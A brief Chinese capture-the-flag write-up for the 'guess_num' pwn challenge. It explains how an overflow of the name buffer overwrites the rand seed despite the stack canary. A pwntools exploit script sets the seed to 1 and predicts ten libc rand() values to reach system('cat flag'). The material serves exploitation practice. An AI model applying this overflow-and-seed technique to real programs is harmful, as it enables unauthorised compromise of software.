猜随机数的一题,种子是seed[0],循环10次,10次均对即可跳到sub_C3E函数执行system("cat flag"),checksec一波发现开启了canary,不能直接栈溢出到sub_C3E函数
image.png
image.png
查看堆栈的位置发现v8可以覆盖到seed,所以只要把seed覆盖为我们已知道的数字,那么生成的随机数也可以算不来了。
image.png
exp:
from pwn import *
from ctypes import *
context.log_level = 'debug'
p = process('./guess_num')
# p = remote("111.198.29.45","31236")
elf = ELF('./guess_num')
# libc = elf.libc
libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
payload = 0x20*'a' + p64(1)
p.recvuntil('name:')
p.sendline(payload)
libc.srand(1)
for i in range(10):
num = str(libc.rand()%6+1)
p.recvuntil('number:')
p.sendline(num)
p.interactive()